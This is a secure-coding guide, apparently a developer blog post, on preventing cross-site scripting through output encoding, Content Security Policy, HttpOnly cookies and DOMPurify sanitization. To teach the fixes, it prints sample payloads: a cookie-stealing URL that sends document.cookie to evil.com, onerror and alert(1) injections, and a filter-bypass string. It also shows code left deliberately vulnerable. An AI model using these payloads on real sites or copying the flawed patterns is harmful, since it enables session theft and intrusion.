Skip to content

Cross-Site Scripting Prevention: A Complete Guide

How cross-site scripting attacks work, the three XSS types, and the defense-in-depth strategies that actually prevent them in modern web applications.

4 min read
Browser console showing blocked XSS attempt with Content Security Policy violation

Cross-site scripting remains the most common web vulnerability, appearing in roughly 40% of all web applications tested. Despite being understood for over two decades, XSS persists because the fundamental problem — mixing user data with code — is baked into how the web works. HTML, CSS, and JavaScript all share the same document, and the browser cannot distinguish between code you wrote and code an attacker injected.

The good news: modern defense-in-depth strategies make XSS exploitation significantly harder. The bad news: you need all of them, not just one.

The Three Types of XSS

Understanding the three attack vectors determines which defenses apply.

Reflected XSS

The script comes from the current HTTP request — typically a URL parameter rendered directly into the page.

tstypescript
// ❌ Vulnerable — user input rendered as HTML
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Results for: ${query}</h1>`);
  // URL: /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
});
 
// ✅ Safe — output encoding prevents script execution
import { encode } from 'html-entities';
 
app.get('/search', (req, res) => {
  const query = encode(req.query.q as string);
  res.send(`<h1>Results for: ${query}</h1>`);
  // Renders: &lt;script&gt; — displayed as text, not executed
});

Stored XSS

The script is stored in the database and served to other users. Comment sections, profile fields, and forum posts are classic targets.

tstypescript
// ❌ Stored XSS — malicious comment saved and rendered to all users
app.post('/comments', async (req, res) => {
  await db.comments.create({ body: req.body.comment });
  // If comment is: <img src=x onerror="stealCookies()">
  // Every subsequent visitor executes the script
});
 
// ✅ Sanitize on input, encode on output
import DOMPurify from 'isomorphic-dompurify';
 
app.post('/comments', async (req, res) => {
  const sanitized = DOMPurify.sanitize(req.body.comment, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });
  await db.comments.create({ body: sanitized });
});

DOM-Based XSS

The script never goes to the server. Client-side JavaScript reads from an attacker-controlled source (URL, window.name, postMessage) and writes it to the DOM.

tstypescript
// ❌ DOM XSS — reads hash, writes to innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.innerHTML = userInput;
// URL: page.html#<img src=x onerror=alert(1)>
 
// ✅ Safe — use textContent instead of innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.textContent = userInput;
// Text is inserted as text, never parsed as HTML

Output Encoding

The primary defense: encode user data based on the context where it appears. Different contexts require different encoding.

tstypescript
// Context-aware encoding — the output context determines the encoding
const encoders = {
  // HTML context: <div>{userInput}</div>
  html: (s: string) => s
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;'),
 
  // Attribute context: <div data-value="{userInput}">
  attribute: (s: string) => s
    .replace(/&/g, '&amp;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;'),
 
  // JavaScript context: var x = '{userInput}'
  javascript: (s: string) => JSON.stringify(s),
 
  // URL parameter context: /search?q={userInput}
  url: (s: string) => encodeURIComponent(s),
};
tstypescript
// ❌ Wrong context encoding — HTML encoding in a URL parameter
const link = `<a href="/search?q=${encoders.html(userInput)}">Search</a>`;
// XSS possible: userInput = "test" onmouseover="alert(1)"
 
// ✅ Correct context — URL encoding for URL parameter
const link = `<a href="/search?q=${encoders.url(userInput)}">Search</a>`;

React, Vue, and Angular handle HTML encoding automatically for interpolated expressions. But dangerouslySetInnerHTML, v-html, and [innerHTML] bypass this protection entirely — use them only with sanitized content.

Content Security Policy

CSP is your second line of defense. It tells the browser which scripts are allowed to execute, making injected scripts dead on arrival.

tstypescript
// Express CSP middleware
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
 
  res.setHeader('Content-Security-Policy', [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}'`,
    `style-src 'self' 'unsafe-inline'`,
    `img-src 'self' data: https:`,
    `connect-src 'self' https://api.example.com`,
    `frame-ancestors 'none'`,
    `base-uri 'self'`,
    `form-action 'self'`,
  ].join('; '));
 
  next();
});
htmlhtml
<!-- Only scripts with the correct nonce execute -->
<script nonce="abc123">
  // This executes — nonce matches
  initApp();
</script>
 
<script>
  // This is BLOCKED by CSP — no nonce
  stealCookies();
</script>

Start with Content-Security-Policy-Report-Only to monitor violations without breaking your site, then switch to enforcing mode:

tstypescript
// Report-only mode — logs violations without blocking
res.setHeader('Content-Security-Policy-Report-Only', [
  `default-src 'self'`,
  `script-src 'self'`,
  `report-uri /api/csp-violations`,
].join('; '));
 
// Log CSP violations for analysis
app.post('/api/csp-violations', (req, res) => {
  logger.warn('CSP violation', req.body);
  res.status(204).send();
});

Even if XSS bypasses your other defenses, proper cookie flags prevent the most damaging outcome — session hijacking.

tstypescript
// ❌ Cookies accessible to JavaScript — XSS can steal them
res.cookie('session', token, {
  path: '/',
});
 
// ✅ Protected cookies — XSS cannot read or exfiltrate them
res.cookie('session', token, {
  httpOnly: true,    // Not accessible via document.cookie
  secure: true,      // Only sent over HTTPS
  sameSite: 'lax',   // Prevents CSRF
  path: '/',
  maxAge: 86400000,  // 24 hours
});

httpOnly is the critical flag. Without it, any XSS payload can exfiltrate session cookies with document.cookie.

Input Sanitization

When users need to submit rich content (Markdown, HTML), sanitize it to allow safe formatting while stripping dangerous elements.

tstypescript
import DOMPurify from 'isomorphic-dompurify';
 
// ❌ Naive sanitization — easy to bypass
function naiveSanitize(html: string): string {
  return html.replace(/<script>/gi, '').replace(/<\/script>/gi, '');
  // Bypassed by: <scr<script>ipt>alert(1)</scr</script>ipt>
}
 
// ✅ Use a battle-tested sanitization library
function sanitizeUserContent(html: string): string {
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: [
      'h2', 'h3', 'p', 'a', 'ul', 'ol', 'li',
      'strong', 'em', 'code', 'pre', 'blockquote', 'br',
    ],
    ALLOWED_ATTR: ['href', 'class'],
    ALLOW_DATA_ATTR: false,
  });
}

Never write your own HTML sanitizer. Regex-based sanitization is always bypassable. DOMPurify parses HTML into a DOM tree and removes dangerous nodes — a fundamentally more robust approach.

Defense in Depth

No single defense prevents all XSS. Layer them:

DefensePreventsLimitation
Output encodingReflected and stored XSSMust use correct context
CSP with noncesInline script injectionDoes not prevent DOM XSS
HttpOnly cookiesSession theft via XSSOther data still accessible
Input sanitizationStored XSS in rich contentOnly for fields allowing HTML
Framework auto-escapingMost template injectionBypassed by raw HTML methods

Key Takeaways

  1. Output encode based on context — HTML, attribute, URL, and JavaScript contexts each need different encoding
  2. Implement CSP with nonces — it blocks injected scripts even when encoding is missed
  3. Set HttpOnly on session cookies — prevents the most damaging XSS outcome (session theft)
  4. Use DOMPurify for rich content — never write your own HTML sanitizer
  5. Avoid innerHTML and dangerouslySetInnerHTML — use textContent or framework interpolation instead
  6. Layer defenses — no single technique prevents all XSS variants
Wilfredo Rujel

Wilfredo Rujel

Full Stack Software Engineer

Share this postX